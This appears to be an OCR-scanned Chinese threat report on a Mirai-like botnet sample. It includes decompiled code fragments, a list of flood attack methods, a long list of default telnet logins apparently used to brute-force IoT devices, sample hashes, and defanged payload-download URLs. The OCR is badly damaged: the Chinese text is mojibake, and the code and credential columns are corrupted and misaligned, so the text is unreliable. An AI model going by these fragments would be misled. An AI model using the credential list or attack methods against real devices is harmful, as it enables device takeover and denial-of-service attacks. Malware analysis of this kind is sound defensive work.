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X% gx86
MD5 02d163134e3b4eabe62497b81659¢2db
AR ELF 32-bit LSB executable, Intel 80386
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V2 = sub_804D770(1, @);
if ( lsub_80547CF(*v53, v3) )
{

sub_804D880(1) ;
sub_885302E(1, "established connection.\n", ©x18u);

sub_8@55FDB(1);
¥
' sub_88533D5("/etc/resolv.cont”, (int)"w");
v,

B 1 HAREirEE

2. ZHEARERTERYD Gafeyt RIEAIE, KIEERIISRE
7% python SEEXGHIER .

_ GI_fclose(vid);
vl5 = _ GI_fopen("/usr/bin/python", (int)&unk_ 8857C77);
if ( v1s )
{
_ GI_fclose(vls);
v1l6 = sub_8@51408(73, @);
prctl{15, via, » » );
¥
¥

else

{
v35 = sub_8051A00(72, 0);

prctl(15, vi5, 8, @, ¥;
¥
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IBE, Z2FE 60s AXEE 2 FH/OEkE\x00\x00,

LOBYTE(v69) = sub_8052810(v63);
dword_8@5C2E8 = sub_8052A88();
_ libc_send(dword_805A084, &unk_ 8857CEF, 4, 0x4000);
_ libc_send(dword_805A084, &v69, 1, 0x4000);
if ( (_BYTE) )
_ libc_send(dword_805A084, , (unsigned _ int8)ve9, 0x4000);
¥

le ( dword_805A084 == -1
|| ! bittest(& . fds_bits[(unsigned int)dword 805A084 >> 5], dword_ 8t

9;

(_DWORD *)sub_80532A2();
= 8;
_libc_recv(dword_805A084, &v69, 2, 16386);
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B EEXT Layer4 1 Layer7 BRI, SIFHAEAY mirai
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x 1 WEaERA
WEHTTiREFR =P 1T
gudp {EE/9 UDP FLOOD, | & BPS

Layer4

ovh_bypass ET UDP Y Layer7 | | X% OVH {RiF
W HIRRSS =S

greeth HJ GRE thMY, B3 | & BPS
IEEATE Layer2 B

plaintcp {&AY TCP FLOOD, |& BPS
Layer4




greip (EXAY greeth FLOOD | = BPS, PPS

std (&85 UDP FLOOD | & BPS

i switch ( )
A
) case 1:
return attack method _gudp(al, =22, a3, ad);
case 2:
return udp ovh_bypass(al, , a3, ad);
l case 3:
) return attack_method_greeth(al, =22, a3, &4);
case 4:
return attack_method_plaintcp(al, a2, a3, ad);
3 case 5:
) return udp _ovh_bypass(zl, a2, a3, ad);
) case b:
return attack method_greip(zl, a2, a3, ad);
h
booif ( > 6 )
b
) if ( (rand_next( Y &1) ==0 )
return attack _method gudp(zl, . s );
= attack _method std(al, s , );
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admin admin
admin t1Jwphob
guest 12345
nobody tmadmin
root \
telnetadnin telnetadmin
default \
root vizxv
Buest suest
! |Huawei @HuaveiHgw
user user
ftp fip
bin \
daemon daemon
root xe3all
ftp \
adn \
admin 260Lhx
root 123456
root *6.=_ja
root root
root hkipe2016
service service
root
root
root
root pass
root zsunl188
admin eSehome
admin eBetelnet
admin digitel
root taZz@02
ubnt ubnt
reot icatch99
root admin
admin Tu MkoOadmin
root xmhdipe
root exlinux
tech tech
1234 1234
Administrator \
admin \
sysadm sysadm
admin password
teleconadmin  admintelecom

admin
root
root
user
telecomadmin
user
admin
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rootmet
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root
root
CUCCAdmin
CMCCAdmin
root
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guest
default
default
root
root
root
root
root
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root
root
root
root
root
root
root
root
adm
support
ftp
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superadmin
user
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useradmin
root
root
ONTUSER
root
admin
admin

588888 default
2010vesta ftp
2011vesta fp
user1234 guest

telnetadnin
user
root
bin
root
\ root
NWTF5x%RaKBuVED root
NFTF5x% root
\ root

123
he32Luy root
chzhdpl root

BrAhMoSe15 adnin
1a2w3e telnet

\ root
admintelecon adnin
root62l sumal23
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Zte521 guest
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\ root
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A root
admin root
123456 root
default
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root
root
root
root
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admin
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root
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\ root
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root
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super
admin
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admin
root
root
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12345

ftp
123456
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user
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bin
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cxlinux
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admin

Is$uper@dmin

zlxx.
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debug

pass123
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root
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25802580
gwladmin
2008 j1
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user
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rootmet
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root
root
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CMCCAdmin
root
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guest
default
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oot
root
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root
root
root
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root
root
root
root
root
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root
root

ftp
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Is$uper@dnin
user
CMCCAdmin
fiberhoneha?x0
useradmin
teleconadnin
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root
user
root
root
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vd-var2
888888 adnin \
s(f)u_htglu root Fireitup
fibre@dm!n root Pon321
adnintrue support \
=3tr0root root root2l
NWTF5x%RakSmVhD root root
NWTF3x% default defanlt
\ admin BrahMoSe15
1234 raot 123456
12345 ftp ftp
h#32LuyD user \
chzhdpl root vizav
BrAhMoSe15 guest 12345
1q2v3e root \
A default 12345
admintelecon raot xc3511
root621 adn telnetadn
Fireitup root icatchdd
aDmSHYMdA root tsgoingon
Cacc10086 CUCCAdmin aDmBHYMAA
Zte521 CucBYHfw
12345 2200831
\ root solokey
default roat
12345 root 2
root superadmin  IsSuper@dmin
A root admin
admin root
123456 adnin
12345 root
icatch89 root
solokey adn
tsgoingon root
admin
eBehomeash
adnin adninpass
root system
perad zteadminl23
cat1029 root tslinux
11789 keomo 3
telnetads CUAdmin
\ adnin conexant
\ admin 2632
ftp admin 36
\ root huigu30g
superadmin adnin epicrouter
\ adnin 12345
aDwSH-cmeadnin useradmin admin!@esh
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admin! 845%" admin GeNeXi5€19
nET jA%Sm ONTUSER SUGARZAD41
858888 root davox
[GEPON] root realtek
user1234 CUCCAdmin Cmcc10086
2010vesta CHCCA aDuSH-cncadmin

2011vesta

ftpuser

asteriskftp
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73963353779b44bce2891d11e66d0e91
4cb48ee8d5e948cfe90ebla9a3bs111f
176591ta9ba80830b2ec6a7e1601fd38
0c05bcb28832937369¢39¢ee113a6be81
c6ad4c67d5b8c4b2730a187161008da3
70efbb538061fbc2¢39912437a6e0e06
ba8cctb46737d33e3eceec65d5eal 7dd
5704172e740810bd7a808d17a62a2b63
1b469287783dc5183222¢51557665315
4¢c160ae988d2489b9f1¢27914c1657bf
9ee59e¢00d14bf71c0e2f1e09c9469dd6
d9e9923f705b6a3bce4bf4ddbb9abec
a9f1e01e6793af26162bfe13f134a285
41dc20f7d94d11d8fceb5241f6b2391f

TEHEE:
http[:]//5.255.101.44/garm
http[:]//5.255.101.44/garm5
http[:]//5.255.101.44/garm6

]

]

]

http[:]//5.255.101.44/garm7

http[:]//5.255.101.44/gmpsl
]

http[:]//5.255.101.44/gm68k



http[:]//5.255.101.44/gsh4
http[:]//5.255.101.44/gppc
http[:]//5.255.101.44/gx86
http[:]//5.255.101.44/gmips
http[:]//103.136.41.159/garm
http[:]//103.136.41.159/garm5
http[:]//103.136.41.159/garm6
http[:]//103.136.41.159/garm7
http[:]//103.136.41.159/gmpsl
http[:]//103.136.41.159/gm68k
http[:]//103.136.41.159/gsh4
http[:]//103.136.41.159/gppc
http[:]//103.136.41.159/gx86
http[:]//103.136.41.159/gmips
http[:]//194.31.98.230/garm
http[:]//194.31.98.230/garm5
http[:]//194.31.98.230/garm6
http[:]//194.31.98.230/garm7
http[:]//194.31.98.230/gmpsl
http[:]//194.31.98.230/gm68k
http[:]//194.31.98.230/gsh4
http[:]//194.31.98.230/gppc
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http[:]//194.31.98.230/gx86
http[:]//194.31.98.230/gmips
http[:]//194.31.98.186/garm
http[:]//194.31.98.186/garm5
http[:]//194.31.98.186/garm6
http[:]//194.31.98.186/garm7
http[:]//194.31.98.186/gmpsl
http[:]//194.31.98.186/gm68k
http[:]//194.31.98.186/gsh4
http[:]//194.31.98.186/gppc
http[:]//194.31.98.186/gx86
http[:]//194.31.98.186/gmips
http[:]//107.174.137.24/garm
http[:]//107.174.137.24/garm5
http[:]//107.174.137.24/garm6
http[:]//107.174.137.24/garm7
http[:]//107.174.137.24/gmpsl
http[:]//107.174.137.24/gm68k
http[:]//107.174.137.24/gsh4
http[:]//107.174.137.24/gppc
http[:]//107.174.137.24/gx86
http[:]//107.174.137.24/gmips
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